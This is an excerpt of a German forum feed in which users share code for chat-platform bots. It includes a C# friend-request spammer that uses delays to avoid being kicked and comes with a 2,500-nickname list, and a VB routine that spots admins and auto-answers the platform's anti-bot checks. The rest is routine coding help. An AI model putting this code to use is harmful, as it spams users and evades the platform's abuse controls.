/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else&nbsp;if&nbsp;(</span><span style="color: #0000BB">token</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">1</span><span style="color: #007700">&#93;.</span><span style="color: #0000BB">Contains</span><span style="color: #007700">(</span><span style="color: #DD0000">"Freundschaftsanfrage&nbsp;versendetõs"</span><span style="color: #007700">))<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">ForegroundColor&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">ConsoleColor</span><span style="color: #007700">.</span><span style="color: #0000BB">Yellow</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">String&nbsp;User&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">token</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">1</span><span style="color: #007700">&#93;.</span><span style="color: #0000BB">Split</span><span style="color: #007700">(new&nbsp;</span><span style="color: #0000BB">String</span><span style="color: #007700">&#91;&#93;&nbsp;{&nbsp;</span><span style="color: #DD0000">"°15B°_°&gt;_h"&nbsp;</span><span style="color: #007700">},&nbsp;</span><span style="color: #0000BB">StringSplitOptions</span><span style="color: #007700">.</span><span style="color: #0000BB">RemoveEmptyEntries</span><span style="color: #007700">)&#91;</span><span style="color: #0000BB">1</span><span style="color: #007700">&#93;.</span><span style="color: #0000BB">Split</span><span style="color: #007700">(</span><span style="color: #DD0000">'|'</span><span style="color: #007700">)&#91;</span><span style="color: #0000BB">0</span><span style="color: #007700">&#93;;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">WriteLine</span><span style="color: #007700">(</span><span style="color: #DD0000">"Freundschaftsanfrage&nbsp;erfolgreich&nbsp;an&nbsp;{0}&nbsp;verschickt!"</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">User</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;static&nbsp;</span><span style="color: #0000BB">void&nbsp;AddFriends</span><span style="color: #007700">()<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;foreach&nbsp;(</span><span style="color: #0000BB">String&nbsp;friend&nbsp;in&nbsp;friends</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//&nbsp;Hiermit&nbsp;öffnen&nbsp;wir&nbsp;das&nbsp;Popup,&nbsp;wo&nbsp;wir&nbsp;die&nbsp;Nachricht&nbsp;angegeben&nbsp;können,&nbsp;was&nbsp;bei&nbsp;der&nbsp;Freundschaftseinladung&nbsp;stehen&nbsp;soll<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">KSC</span><span style="color: #007700">.</span><span style="color: #0000BB">SendMessage</span><span style="color: #007700">(</span><span style="color: #DD0000">"/friends&nbsp;request:"&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">friend</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//&nbsp;schlafen&nbsp;3,5&nbsp;Sekunden&nbsp;damit&nbsp;wir&nbsp;nicht&nbsp;gekickt&nbsp;werden...<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Thread</span><span style="color: #007700">.</span><span style="color: #0000BB">Sleep</span><span style="color: #007700">(</span><span style="color: #0000BB">3500</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;static&nbsp;</span><span style="color: #0000BB">void&nbsp;SendRequest</span><span style="color: #007700">(</span><span style="color: #0000BB">String&nbsp;User</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">String&nbsp;ID</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//&nbsp;RequestFriend&nbsp;-&nbsp;lustiger&nbsp;Opcode&nbsp;oder?&nbsp;Noch&nbsp;länger&nbsp;ging&nbsp;es&nbsp;wohl&nbsp;nicht&nbsp;^.^<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">KSC</span><span style="color: #007700">.</span><span style="color: #0000BB">Send</span><span style="color: #007700">(</span><span style="color: #0000BB">String</span><span style="color: #007700">.</span><span style="color: #0000BB">Format</span><span style="color: #007700">(</span><span style="color: #DD0000">"RequestFriend\0REQUESTFRIEND\0{0}\0{1}:Hallo&nbsp;{0}&nbsp;ich&nbsp;würde&nbsp;mich&nbsp;freuen&nbsp;dich&nbsp;als&nbsp;Freund&nbsp;meinem&nbsp;neuen&nbsp;Profil&nbsp;hinzufügen&nbsp;zu&nbsp;können.\0"</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">User</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">ID</span><span style="color: #007700">));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />}&nbsp;<br /></span><span style="color: #0000BB"></span>
</span>
</code></code><hr />
</div>
</div>
</div>
</div>Ich habe noch eine Nickliste mit 2500 Nicknames hinzugefügt, falls es jemand durchlaufen lassen möchte.<br />
<br />
<div style="text-align: center;"><a href="http://s2l.biz/jhzjlzletoam" target="_blank" rel="nofollow"><b><font size="1">BOT + PROJEKTMAPPE DOWNLOAD @ UPLOADED.TO kein Mirroring!</font></b></a></div></div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>The Don of NYC</dc:creator>
			<guid isPermaLink="true">sourcecode-91/friendadder-30175</guid>
		</item>
		<item>
			<title><![CDATA[[S] Botkontrolle beantworten]]></title>
			<link>sourcecode-91/s-botkontrolle-beantworten-7311?goto=newpost</link>
			<pubDate>Thu, 16 Feb 2012 08:41:39 GMT</pubDate>
			<description>Hey, 
Kennt jemand den Token von der Botkontrolle wenn man auf OK drückt also hat jemand das mitgeloggt und kann ihn mir posten. 
Kann euch leider...</description>
			<content:encoded><![CDATA[<div>Hey,<br />
Kennt jemand den Token von der Botkontrolle wenn man auf OK drückt also hat jemand das mitgeloggt und kann ihn mir posten.<br />
Kann euch leider nur ein Danke geben hihio<br />
/e Oder ist es möglich über client.Sendmessage(&quot;/ok&quot;) auch möglich.<br />
Hatte noch nie ne Botkontrolle ^.^</div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>rVs14</dc:creator>
			<guid isPermaLink="true">sourcecode-91/s-botkontrolle-beantworten-7311</guid>
		</item>
		<item>
			<title><![CDATA[[VB] Hilfe source]]></title>
			<link>sourcecode-91/vb-hilfe-source-7128?goto=newpost</link>
			<pubDate>Mon, 13 Feb 2012 19:20:23 GMT</pubDate>
			<description>Hallo ich habe ein kelines problem bei meinem source 
 
Code: 
--------- 
   Private Sub CheckBox5_CheckedChanged(ByVal sender As System.Object,...</description>
			<content:encoded><![CDATA[<div>Hallo ich habe ein kelines problem bei meinem source<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">&nbsp;  Private Sub CheckBox5_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox5.CheckedChanged<br />
&nbsp; &nbsp; &nbsp; &nbsp; If CheckBox5.Checked Then<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Timer8.Start()<br />
&nbsp; &nbsp; &nbsp; &nbsp; Else<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Timer8.Stop()<br />
&nbsp; &nbsp; &nbsp; &nbsp; End If<br />
&nbsp; &nbsp; End Sub<br />
<br />
&nbsp; &nbsp; Private Sub Timer8_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer8.Tick<br />
&nbsp; &nbsp; &nbsp; &nbsp; client.Disconnect()<br />
&nbsp; &nbsp; &nbsp; &nbsp; RichTextBox1.Text = &quot;Nick wurde mit liebe ausgelogt&quot;<br />
&nbsp; &nbsp; &nbsp; &nbsp; Timer8.Stop()<br />
&nbsp; &nbsp; &nbsp; &nbsp; CheckBox1.Checked = False<br />
&nbsp; &nbsp; &nbsp; &nbsp; CheckBox2.Checked = False<br />
&nbsp; &nbsp; &nbsp; &nbsp; CheckBox3.Checked = False<br />
&nbsp; &nbsp; &nbsp; &nbsp; CheckBox5.Checked = False<br />
&nbsp; &nbsp; End Sub<br />
<br />
&nbsp; &nbsp; Private Sub TextBox10_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox10.TextChanged<br />
<br />
&nbsp; &nbsp; End Sub<br />
<br />
&nbsp; &nbsp; Private Sub Button7_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button7.Click<br />
&nbsp; &nbsp; &nbsp; &nbsp; CheckBox5.Text = (&quot;Nach &quot; + TextBox10.Text + &quot; Minute Offline gehen&quot;)<br />
&nbsp; &nbsp; &nbsp; &nbsp; If TextBox10.Text = &quot;1&quot; Then<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Timer7.Interval = CInt(60000)<br />
&nbsp; &nbsp; &nbsp; &nbsp; End If<br />
&nbsp; &nbsp; &nbsp; &nbsp; If TextBox10.Text = &quot;2&quot; Then<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Timer7.Interval = CInt(120000)<br />
&nbsp; &nbsp; &nbsp; &nbsp; End If<br />
&nbsp; &nbsp; &nbsp; &nbsp; If TextBox10.Text = &quot;3&quot; Then<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Timer7.Interval = CInt(180000)<br />
&nbsp; &nbsp; &nbsp; &nbsp; End If<br />
&nbsp; &nbsp; &nbsp; &nbsp; If TextBox10.Text = &quot;4&quot; Then<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Timer7.Interval = CInt(240000)<br />
&nbsp; &nbsp; &nbsp; &nbsp; End If<br />
&nbsp; &nbsp; &nbsp; &nbsp; If TextBox10.Text = &quot;5&quot; Then<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Timer7.Interval = CInt(300000)<br />
&nbsp; &nbsp; &nbsp; &nbsp; End If<br />
&nbsp; &nbsp; &nbsp; &nbsp; If TextBox10.Text = &quot;6&quot; Then<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Timer7.Interval = CInt(360000)<br />
&nbsp; &nbsp; &nbsp; &nbsp; End If<br />
&nbsp; &nbsp; &nbsp; &nbsp; If TextBox10.Text = &quot;7&quot; Then<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Timer7.Interval = CInt(420000)<br />
&nbsp; &nbsp; &nbsp; &nbsp; End If<br />
&nbsp; &nbsp; &nbsp; &nbsp; If TextBox10.Text = &quot;8&quot; Then<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Timer7.Interval = CInt(480000)<br />
&nbsp; &nbsp; &nbsp; &nbsp; End If<br />
&nbsp; &nbsp; &nbsp; &nbsp; If TextBox10.Text = &quot;9&quot; Then<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Timer7.Interval = CInt(540000)<br />
&nbsp; &nbsp; &nbsp; &nbsp; End If<br />
&nbsp; &nbsp; &nbsp; &nbsp; If TextBox10.Text = &quot;10&quot; Then<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Timer7.Interval = CInt(600000)<br />
&nbsp; &nbsp; &nbsp; &nbsp; End If<br />
&nbsp; &nbsp; End Sub</code><hr />
</div><br />
Also mann kann in ne textbox die minuten eintragen nachden er off gehen soll (momentar max bis 10)<br />
Aber es will nicht funktionieren?<br />
<br />
Bitte um hilfe                                 MFG: Sploxfreak</div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>Sploxfreak</dc:creator>
			<guid isPermaLink="true">sourcecode-91/vb-hilfe-source-7128</guid>
		</item>
		<item>
			<title><![CDATA[[Vb]Anti Admin + Botkontrolle]]></title>
			<link>sourcecode-91/vb-anti-admin-botkontrolle-7077?goto=newpost</link>
			<pubDate>Sun, 12 Feb 2012 23:51:34 GMT</pubDate>
			<description>Hallo !!  
Mal Ganz schnell Denn code für AAB.  
Der code ist komentiert 
 
_*Update:29.04.2012 *_ 
 
Nicht getestet 
 
in Form Load</description>
			<content:encoded><![CDATA[<div>Hallo !! <br />
Mal Ganz schnell Denn code für AAB. <br />
Der code ist komentiert<br />
<br />
<u><i><b><font color="Red">Update:29.04.2012 </font></b></i></u><br />
<br />
<font color="Red">Nicht getestet</font><br />
<br />
in Form Load <br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">Zitat:</div>
	<div class="bbcode_quote printable">
		<hr />
		
			   adminlist.add = System.IO.File.ReadAllLines(&quot;Adminlist.txt&quot;)<br />
                MessageBox.Show(adminList.Count.ToString)<br />
                 LabelAdminanzeige.Text = &quot;&quot; &amp; (adminlist.Count.ToString)<br />
			
		<hr />
	</div>
</div><div class="bbcode_container">
	<div class="bbcode_description">Zitat:</div>
	<div class="bbcode_quote printable">
		<hr />
		
			<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">&nbsp;  Dim Adminlist As String()&nbsp;  'Adminliste hinzufügen</code><hr />
</div>
			
		<hr />
	</div>
</div>ClientOnChannelJoint<br />
<div class="bbcode_container">
	<div class="bbcode_description">Zitat:</div>
	<div class="bbcode_quote printable">
		<hr />
		
			<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">&nbsp; &nbsp; Private Sub client_OnChannelJoin(ByVal sender As Object, ByVal User As KNLib.User) Handles client.OnChannelJoin<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; If User.Name = adminlist.ToString Then<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 'admin ist und beigetreten<br />
&nbsp; &nbsp; &nbsp; &nbsp; Else<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ListView1.Items.Add(User.Name).ForeColor = User.Color<br />
&nbsp; &nbsp; &nbsp; &nbsp; End If<br />
<br />
&nbsp; &nbsp; End Sub</code><hr />
</div>
			
		<hr />
	</div>
</div>OnChannelLeave<br />
<div class="bbcode_container">
	<div class="bbcode_description">Zitat:</div>
	<div class="bbcode_quote printable">
		<hr />
		
			<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">&nbsp; &nbsp; Private Sub client_OnChannelLeave(ByVal sender As Object, ByVal User As KNLib.User) Handles client.OnChannelLeave<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; If User.Name = adminlist.ToString Then<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 'admin hat uns verlassen<br />
&nbsp; &nbsp; &nbsp; &nbsp; Else<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ListView1.FindItemWithText(User.Name).Remove()<br />
&nbsp; &nbsp; &nbsp; &nbsp; End If<br />
<br />
&nbsp; &nbsp; End Sub</code><hr />
</div>
			
		<hr />
	</div>
</div>Onping<br />
<div class="bbcode_container">
	<div class="bbcode_description">Zitat:</div>
	<div class="bbcode_quote printable">
		<hr />
		
			<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">&nbsp; Private Sub client_OnPing(ByVal sender As Object, ByVal Nick As String, ByVal Key As String) Handles client.OnPing<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; If Nick = adminlist.ToString Then<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 'admin hat mich gepingt<br />
&nbsp; &nbsp; &nbsp; &nbsp; Else<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; writeText(&quot;Bot&quot;, &quot;Empfange Ping von &quot; + Nick + &quot; mit dem Key &quot; + Key + &quot;...&quot;, Color.Red)<br />
&nbsp; &nbsp; &nbsp; &nbsp; End If<br />
<br />
&nbsp; &nbsp; End Sub</code><hr />
</div>
			
		<hr />
	</div>
</div><br />
Onpuplicmassge<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">Zitat:</div>
	<div class="bbcode_quote printable">
		<hr />
		
			<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">&nbsp; &nbsp; Private Sub client_OnPublicMessage(ByVal sender As Object, ByVal Nick As String, ByVal Message As String) Handles client.OnPublicMessage<br />
<br />
<br />
If Message.Contains(&quot;Überprüfung auf Bot-Benutzung&quot;) Then<br />
&nbsp; &nbsp; &nbsp; &nbsp; Dim th As New Threading.Thread(AddressOf Botkontrolle)<br />
&nbsp; &nbsp; &nbsp; &nbsp; th.Start(New Object() {token(4]), &quot;10000&quot;, &quot;30000&quot;}) <br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; End If<br />
&nbsp; &nbsp; &nbsp; &nbsp; If fromNick = (adminlist.ToString) Then<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 'Admin hat dir ne privat nachricht geschickt'<br />
&nbsp; &nbsp; &nbsp; &nbsp; End If<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; RichTextBox1.SelectionFont = New Font(RichTextBox1.Font, FontStyle.Bold)<br />
&nbsp; &nbsp; &nbsp; &nbsp; RichTextBox1.SelectionColor = Color.Red<br />
&nbsp; &nbsp; &nbsp; &nbsp; RichTextBox1.AppendText(fromNick + &quot; (privat an &quot; + toNick + &quot;): &quot;)<br />
&nbsp; &nbsp; &nbsp; &nbsp; RichTextBox1.SelectionFont = New Font(RichTextBox1.Font, FontStyle.Regular)<br />
&nbsp; &nbsp; &nbsp; &nbsp; RichTextBox1.SelectionColor = Color.Black<br />
&nbsp; &nbsp; &nbsp; &nbsp; RichTextBox1.AppendText(Message + vbLf)<br />
&nbsp; &nbsp; &nbsp; &nbsp; RichTextBox1.ScrollToCaret()<br />
<br />
&nbsp; &nbsp; End Sub<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; If Nick = adminlist.ToString Then<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ' admin hat öffentlich geschrieben<br />
&nbsp; &nbsp; &nbsp; &nbsp; End If<br />
&nbsp; &nbsp; &nbsp; &nbsp; writeText(Nick, Message, Color.Black)<br />
<br />
&nbsp; &nbsp; End Sub</code><hr />
</div>
			
		<hr />
	</div>
</div><br />
OnPrivateMessage<br />
<div class="bbcode_container">
	<div class="bbcode_description">Zitat:</div>
	<div class="bbcode_quote printable">
		<hr />
		
			<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">Private Sub client_OnPrivateMessage(ByVal sender As Object, ByVal fromNick As String, ByVal toNick As String, ByVal Message As String) Handles client.OnPrivateMessage<br />
&nbsp; &nbsp; &nbsp; &nbsp; If Message.Contains(&quot;Überprüfung auf Bot-Benutzung&quot;) Then<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Botkontrolle(Message, 1000, 600000)<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; End If<br />
&nbsp; &nbsp; &nbsp; &nbsp; If fromNick = (adminlist.ToString) Then<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 'Admin hat dir ne privat nachricht geschickt<br />
&nbsp; &nbsp; &nbsp; &nbsp; End If<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; RichTextBox1.SelectionFont = New Font(RichTextBox1.Font, FontStyle.Bold)<br />
&nbsp; &nbsp; &nbsp; &nbsp; RichTextBox1.SelectionColor = Color.Red<br />
&nbsp; &nbsp; &nbsp; &nbsp; RichTextBox1.AppendText(fromNick + &quot; (privat an &quot; + toNick + &quot;): &quot;)<br />
&nbsp; &nbsp; &nbsp; &nbsp; RichTextBox1.SelectionFont = New Font(RichTextBox1.Font, FontStyle.Regular)<br />
&nbsp; &nbsp; &nbsp; &nbsp; RichTextBox1.SelectionColor = Color.Black<br />
&nbsp; &nbsp; &nbsp; &nbsp; RichTextBox1.AppendText(Message + vbLf)<br />
&nbsp; &nbsp; &nbsp; &nbsp; RichTextBox1.ScrollToCaret()<br />
<br />
&nbsp; &nbsp; End Sub</code><hr />
</div>
			
		<hr />
	</div>
</div><div class="bbcode_container">
	<div class="bbcode_description">Zitat:</div>
	<div class="bbcode_quote printable">
		<hr />
		
			    Private Sub Botkontrolle(ByVal parameter As Object)<br />
        Try<br />
            Dim message As String = parameter(0)<br />
            Dim delay1 As Integer = parameter(1)<br />
            Dim delay2 As Integer = parameter(2)<br />
<br />
<br />
<br />
            Dim bk As MatchCollection = Regex.Matches(message, &quot;/ok (.*?)&quot;)<br />
<br />
            For Each match As Match In bk<br />
                Thread.Sleep(New Random().Next(delay1, delay2))<br />
                KSC.SendMessage(String.Format(&quot;/ok {0}&quot;, match.Groups(1).Value))<br />
            Next<br />
<br />
        Catch ex As Exception<br />
<br />
        End Try<br />
<br />
<br />
    End Sub
			
		<hr />
	</div>
</div><font color="Yellow"><b>Botkontrolle geht an uncopyable ! Danke :)</b></font><br />
<br />
 <font color="Red">Denkt Bitte dran das ihr in denn Ordner nen Adminlist.txt Hinzufügt und die Admin's hinzufügt. </font><br />
<br />
MFG<br />
Like a Star x3</div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>DnL</dc:creator>
			<guid isPermaLink="true">sourcecode-91/vb-anti-admin-botkontrolle-7077</guid>
		</item>
		<item>
			<title>KButton</title>
			<link>sourcecode-91/kbutton-6710?goto=newpost</link>
			<pubDate>Tue, 07 Feb 2012 19:57:36 GMT</pubDate>
			<description>PHP: 
--------- 
package KCClient.UI.Components; 
 
import java.awt.*; 
import java.awt.event.MouseAdapter; 
import javax.swing.JButton;</description>
			<content:encoded><![CDATA[<div><div class="bbcode_container">
	<div class="bbcode_description">PHP-Code:</div>
	<hr /><code class="bbcode_code"><code><span style="color: #000000">
<span style="color: #0000BB">package&nbsp;KCClient</span><span style="color: #007700">.</span><span style="color: #0000BB">UI</span><span style="color: #007700">.</span><span style="color: #0000BB">Components</span><span style="color: #007700">;<br /><br /></span><span style="color: #0000BB">import&nbsp;java</span><span style="color: #007700">.</span><span style="color: #0000BB">awt</span><span style="color: #007700">.*;<br /></span><span style="color: #0000BB">import&nbsp;java</span><span style="color: #007700">.</span><span style="color: #0000BB">awt</span><span style="color: #007700">.</span><span style="color: #0000BB">event</span><span style="color: #007700">.</span><span style="color: #0000BB">MouseAdapter</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">import&nbsp;javax</span><span style="color: #007700">.</span><span style="color: #0000BB">swing</span><span style="color: #007700">.</span><span style="color: #0000BB">JButton</span><span style="color: #007700">;<br /><br /><br /></span><span style="color: #FF8000">/**<br />&nbsp;*<br />&nbsp;*&nbsp;@author&nbsp;DeKaDeNz<br />&nbsp;*/<br /><br /><br /><br /></span><span style="color: #007700">public&nbsp;class&nbsp;</span><span style="color: #0000BB">KButton&nbsp;</span><span style="color: #007700">extends&nbsp;</span><span style="color: #0000BB">JButton&nbsp;</span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;class&nbsp;</span><span style="color: #0000BB">KButton_MouseEvents&nbsp;</span><span style="color: #007700">extends&nbsp;</span><span style="color: #0000BB">MouseAdapter<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;@</span><span style="color: #0000BB">Override<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">public&nbsp;</span><span style="color: #0000BB">void&nbsp;mouseEntered</span><span style="color: #007700">(</span><span style="color: #0000BB">java</span><span style="color: #007700">.</span><span style="color: #0000BB">awt</span><span style="color: #007700">.</span><span style="color: #0000BB">event</span><span style="color: #007700">.</span><span style="color: #0000BB">MouseEvent&nbsp;evt</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">KButton&nbsp;button&nbsp;</span><span style="color: #007700">=&nbsp;(</span><span style="color: #0000BB">KButton</span><span style="color: #007700">)</span><span style="color: #0000BB">evt</span><span style="color: #007700">.</span><span style="color: #0000BB">getComponent</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">button</span><span style="color: #007700">.</span><span style="color: #0000BB">hover&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">true</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;@</span><span style="color: #0000BB">Override<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">public&nbsp;</span><span style="color: #0000BB">void&nbsp;mouseExited</span><span style="color: #007700">(</span><span style="color: #0000BB">java</span><span style="color: #007700">.</span><span style="color: #0000BB">awt</span><span style="color: #007700">.</span><span style="color: #0000BB">event</span><span style="color: #007700">.</span><span style="color: #0000BB">MouseEvent&nbsp;evt</span><span style="color: #007700">)&nbsp;{<br 